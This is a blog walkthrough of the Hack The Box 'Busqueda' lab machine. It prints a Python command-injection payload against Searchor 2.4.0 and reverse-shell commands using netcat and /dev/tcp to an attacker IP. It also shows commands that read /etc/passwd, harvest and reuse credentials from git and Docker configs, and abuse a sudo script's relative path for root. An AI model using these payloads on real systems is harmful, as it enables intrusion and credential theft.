Hack The Box | Busqueda | Write UP

Hey there, Cyber Warriors! πŸš€

Guess what? I recently had a wild ride with the Busqueda CTF challenge and I can’t wait to share the adventure with you. This challenge was a real treat, pushing my skills and making me think on my feet. It’s got everything: sneaky vulnerabilities, cool command injections, and that sweet taste of privilege escalation.

Remember though, the hacks we’re talking about here are just for fun and learning. Always be a good netizen and only hack where you have permission.

In this post, we’re going to dive into how I tackled the Busqueda CTF. It’s not the only way, but hey, it worked! Ready to step into the breach? Let’s do this!

First of all we need to add to the β€œ/etc/hosts” file the name of the machine:

10.10.11.208 searcher.htb searcher

Also we will perform a scan with Nmap:

  • sudo nmap -sT -n -Pn -sV -T4 -vv 10.10.11.208
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We discovered an HTTP Server (Port: 80):

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52

We will see the web page:

Review the code of the page and we can see the technology that is been used from the web page:

<footer class="mt-auto">

    <div class="footer-basic">
            <hr>
            <div class="social"><a href="#"><i class="icon ion-social-instagram"></i></a><a href="#"><i class="icon ion-social-snapchat"></i></a><a href="#"><i class="icon ion-social-twitter"></i></a><a href="#"><i class="icon ion-social-facebook"></i></a></div>
            <ul class="list-inline">
                <li class="list-inline-item"><a href="#">Home</a></li>
                <li class="list-inline-item"><a href="#">Services</a></li>
                <li class="list-inline-item"><a href="#">About</a></li>
                <li class="list-inline-item"><a href="#">Terms</a></li>
                <li class="list-inline-item"><a href="#">Privacy Policy</a></li>
            </ul>
            <p class="copyright">searcher.htb Β© 2023</p>
            <p class="copyright">Powered by <a style="color:black" target='_blank' href="<https://flask.palletsprojects.com>">Flask</a> and <a  style="color:black" target='_blank' href="<https://github.com/ArjunSharda/Searchor>">Searchor 2.4.0</a> </p><br>
    </div>
    <script src="<https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js>"></script>
    <script src="<https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/js/bootstrap.bundle.min.js>"></script>

</footer>

The information gives us a great point to start. We know the tools the web page is using and also check the version of the technology. We need to check if there is any vulnerability:

https://github.com/ArjunSharda/Searchor

After research in google we can see the next vulnerability (Arbitrary Code Execution):

https://security.snyk.io/package/pip/searchor/2.4.0

It currently doesn’t exist a PoC about how we can exploit this Vulnerability. We need to try to exploit it by our self. The first action we will do is try to bypass the input, for this we will use Burp Suite and the repeater functionality:

After configure our navigator we need to send an example petition and after that we will modify it to try to do a command injection. The first try, could be like this:

function(''),#

The second try, could be like this. We will try to send various params:

example'),1#

Now we already know we can execute an attack because we view response from the server. We will check some reverse shells, from β€œhttps://www.revshells.com/” and finally we can use the next reverse shell but before we need to execute netcat:

nc -nlvp 4444

After that we will execute our payload with the reverse shell:

engine=Accuweather&query=example'),__import__('os').system('busybox nc 10.10.16.15 4444 -e /bin/sh')#

Finally we will have a connection with the machine through the netcat. Now we can reach the user flag:

After that we confirm the application is vulnerable also we have a reverse shell communication. Now we will check through burp suite some files (/etc/passwd):

engine=Accuweather&query=example'),__import__('os').system('cat /etc/passwd')#

And we will get the next result where we can see the user β€˜svc’:

HTTP/1.1 200 OK
Date: Tue, 16 May 2023 08:29:56 GMT
Server: Werkzeug/2.1.2 Python/3.10.6
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Content-Length: 2001
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
**svc:x:1000:1000:svc:/home/svc:/bin/bash**
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
('<https://www.accuweather.com/en/search-locations?query=example>', 0)

Now, we will list the actual directory to view how many directories and files have:

engine=Accuweather&query=example'),__import__('os').system('ls -la')#

Definitely we found something. We have a git directory:

After looking for something interesting we found the git config file with credentials:

HTTP/1.1 200 OK
Date: Tue, 16 May 2023 11:19:42 GMT
Server: Werkzeug/2.1.2 Python/3.10.6
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Connection: close
Content-Length: 362

[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
	remote = origin
	merge = refs/heads/main
('https://www.accuweather.com/en/search-locations?query=example', 0)

Also, we will check the β€˜/etc/hosts’ file to discover more information:

engine=Accuweather&query=example'),__import__('os').system('cat /etc/hosts')#

After check the β€˜/etc/hosts’ file we will discover a new domain name:

HTTP/1.1 200 OK
Date: Tue, 16 May 2023 08:32:55 GMT
Server: Werkzeug/2.1.2 Python/3.10.6
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Content-Length: 323
Connection: close

127.0.0.1 localhost
127.0.1.1 busqueda searcher.htb **gitea.searcher.htb**

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
('<https://www.accuweather.com/en/search-locations?query=example>', 0)

Now we need to configure our β€˜hosts’ file. With something like this:

After modifying our file, we will discover a new web app (Gitea):

We already have a credentials to check into the Gitea platform:

Fortunately, we have the right user to sign in:

After reviewing the application I don’t see anything but we are going to check the credentials through the SSH with the user β€œsvc” that we have viewed into the file ‘/etc/passwd’:

ssh svc@10.10.11.208 (jh1usoih2bkjaspwe92)

Now we have a SSH connection. We will to enumerate more to try to do β€œPrivilege Escalation”. The first thing we going to check is the β€œsudo” permissions of the current user:

sudo -l

As we can see we found something interesting, some script for check something with the root privileges. We will try to execute this script we have found:

Apparently this script interacts with the docker service that already is installed in the machine:

systemctl --type=service --state=running

After that we will check the script has been discovered. The first thing we will do is to check which are the docker instances that are now running:

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps

We will see two instances. The first one is β€œGitea” and the second one is β€œMysql”:

CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   4 months ago   Up 4 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   4 months ago   Up 4 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

After that we will use the same script to dump the configuration of the two instances. It is important understand how β€œdocker” works and also how it works the functionality we will use (Docker Instance). Now we will check the configuration:

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' 960873171e2e

We can see which are the credential it use to connect with the Mysql service (Gitea instance):

{
  "Hostname": "960873171e2e",
  "Domainname": "",
  "User": "",
  "AttachStdin": false,
  "AttachStdout": false,
  "AttachStderr": false,
  "ExposedPorts": {
    "22/tcp": {},
    "3000/tcp": {}
  },
  "Tty": false,
  "OpenStdin": false,
  "StdinOnce": false,
  "Env": [
    "USER_UID=115",
    "USER_GID=121",
    "GITEA__database__DB_TYPE=mysql",
    "GITEA__database__HOST=db:3306",
    "GITEA__database__NAME=gitea",
    "GITEA__database__USER=gitea",
    "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
    "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
    "USER=git",
    "GITEA_CUSTOM=/data/gitea"
  ],
  "Cmd": [
    "/bin/s6-svscan",
    "/etc/s6"
  ],
  "Image": "gitea/gitea:latest",
  "Volumes": {
    "/data": {},
    "/etc/localtime": {},
    "/etc/timezone": {}
  },
  "WorkingDir": "",
  "Entrypoint": [
    "/usr/bin/entrypoint"
  ],
  "OnBuild": null,
  "Labels": {
    "com.docker.compose.config-hash": "e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515",
    "com.docker.compose.container-number": "1",
    "com.docker.compose.oneoff": "False",
    "com.docker.compose.project": "docker",
    "com.docker.compose.project.config_files": "docker-compose.yml",
    "com.docker.compose.project.working_dir": "/root/scripts/docker",
    "com.docker.compose.service": "server",
    "com.docker.compose.version": "1.29.2",
    "maintainer": "maintainers@gitea.io",
    "org.opencontainers.image.created": "2022-11-24T13:22:00Z",
    "org.opencontainers.image.revision": "9bccc60cf51f3b4070f5506b042a3d9a1442c73d",
    "org.opencontainers.image.source": "<https://github.com/go-gitea/gitea.git>",
    "org.opencontainers.image.url": "<https://github.com/go-gitea/gitea>"
  }
}

Also we will check the another instance:

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' 960873171e2e

We can see the credentials of the root for the Mysql service (Mysql instance):

{
  "Hostname": "f84a6b33fb5a",
  "Domainname": "",
  "User": "",
  "AttachStdin": false,
  "AttachStdout": false,
  "AttachStderr": false,
  "ExposedPorts": {
    "3306/tcp": {},
    "33060/tcp": {}
  },
  "Tty": false,
  "OpenStdin": false,
  "StdinOnce": false,
  "Env": [
    "MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF",
    "MYSQL_USER=gitea",
    "MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh",
    "MYSQL_DATABASE=gitea",
    "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
    "GOSU_VERSION=1.14",
    "MYSQL_MAJOR=8.0",
    "MYSQL_VERSION=8.0.31-1.el8",
    "MYSQL_SHELL_VERSION=8.0.31-1.el8"
  ],
  "Cmd": [
    "mysqld"
  ],
  "Image": "mysql:8",
  "Volumes": {
    "/var/lib/mysql": {}
  },
  "WorkingDir": "",
  "Entrypoint": [
    "docker-entrypoint.sh"
  ],
  "OnBuild": null,
  "Labels": {
    "com.docker.compose.config-hash": "1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b",
    "com.docker.compose.container-number": "1",
    "com.docker.compose.oneoff": "False",
    "com.docker.compose.project": "docker",
    "com.docker.compose.project.config_files": "docker-compose.yml",
    "com.docker.compose.project.working_dir": "/root/scripts/docker",
    "com.docker.compose.service": "db",
    "com.docker.compose.version": "1.29.2"

After that also we will check the last functionality of the script. We need to execute it and we will see information about the instances:

sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

The result of the execution:

[=] Docker conteainers
{
  "/gitea": "running"
}
{
  "/mysql_db": "running"
}

[=] Docker port mappings
{
  "22/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "222"
    }
  ],
  "3000/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "3000"
    }
  ]
}

[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up

[=] PM2 processes
β”Œβ”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ id  β”‚ name   β”‚ namespace   β”‚ version β”‚ mode    β”‚ pid      β”‚ uptime β”‚ β†Ί    β”‚ status    β”‚ cpu      β”‚ mem      β”‚ user     β”‚ watching β”‚
β”œβ”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ 0   β”‚ app    β”‚ default     β”‚ N/A     β”‚ fork    β”‚ 1755     β”‚ 2m     β”‚ 0    β”‚ online    β”‚ 0%       β”‚ 30.1mb   β”‚ svc      β”‚ disabled β”‚
β””β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

[+] Done!

Now we have some credentials and also some users. In this point we will check some combinations of them in Gitea:

After checking some combinations we will found the credentials for the β€œadministrator” user for Gitea:

administrator:yuiu1hoiu4i5ho1uh

After accessing the platform we will see a new repository which has the soruce code of the script we have discovered with β€œsudo -l”:

Now we need to analyse the source code to see some bug or something like that:

#!/bin/bash
import subprocess
import sys

actions = ['full-checkup', 'docker-ps','docker-inspect']

def run_command(arg_list):
    r = subprocess.run(arg_list, capture_output=True)
    if r.stderr:
        output = r.stderr.decode()
    else:
        output = r.stdout.decode()

    return output

def process_action(action):
    if action == 'docker-inspect':
        try:
            _format = sys.argv[2]
            if len(_format) == 0:
                print(f"Format can't be empty")
                exit(1)
            container = sys.argv[3]
            arg_list = ['docker', 'inspect', '--format', _format, container]
            print(run_command(arg_list)) 
        
        except IndexError:
            print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
            exit(1)
    
        except Exception as e:
            print('Something went wrong')
            exit(1)
    
    elif action == 'docker-ps':
        try:
            arg_list = ['docker', 'ps']
            print(run_command(arg_list)) 
        
        except:
            print('Something went wrong')
            exit(1)

    elif action == 'full-checkup':
        try:
            ***arg_list = ['./full-checkup.sh']***
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)
            

if __name__ == '__main__':

    try:
        action = sys.argv[1]
        if action in actions:
            process_action(action)
        else:
            raise IndexError

    except IndexError:
        print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
        print('')
        print('     docker-ps     : List running docker containers')
        print('     docker-inspect : Inpect a certain docker container')
        print('     full-checkup  : Run a full system checkup')
        print('')
        exit(1)

After search some issue in the source code we can see the action β€œfull-checkup” execute the script β€œ./full-checkup.sh” with relative path then we need to create a new script with our reverse shell code and execute the script in the same directory:

#!/bin/bash

# set the ip address of your machine
ip='<Your IP Address>'
# set the port number of your listener
port=1234

# create the reverse shell
/bin/bash -i >& /dev/tcp/$ip/$port 0>&1

After creating our reverse shell and execute the script with sudo privileges we will receive a new connection through our netcat server:

sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

Now we already have access to the root flag!

This machine is good to start thinking like a pentester because you will need to reuse different β€œthings” to gather more information and finally get the root flag. However, even if it is an easy machine you will need to focus a read correctly everything to get the important β€œhints”.

If you need more information about some subject see the relevant links:

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-eval-code-execution/

https://www.revshells.com/

https://docs.docker.com/engine/reference/commandline/inspect/

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-eval-code-execution/

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende cΓ³mo se procesan los datos de tus comentarios.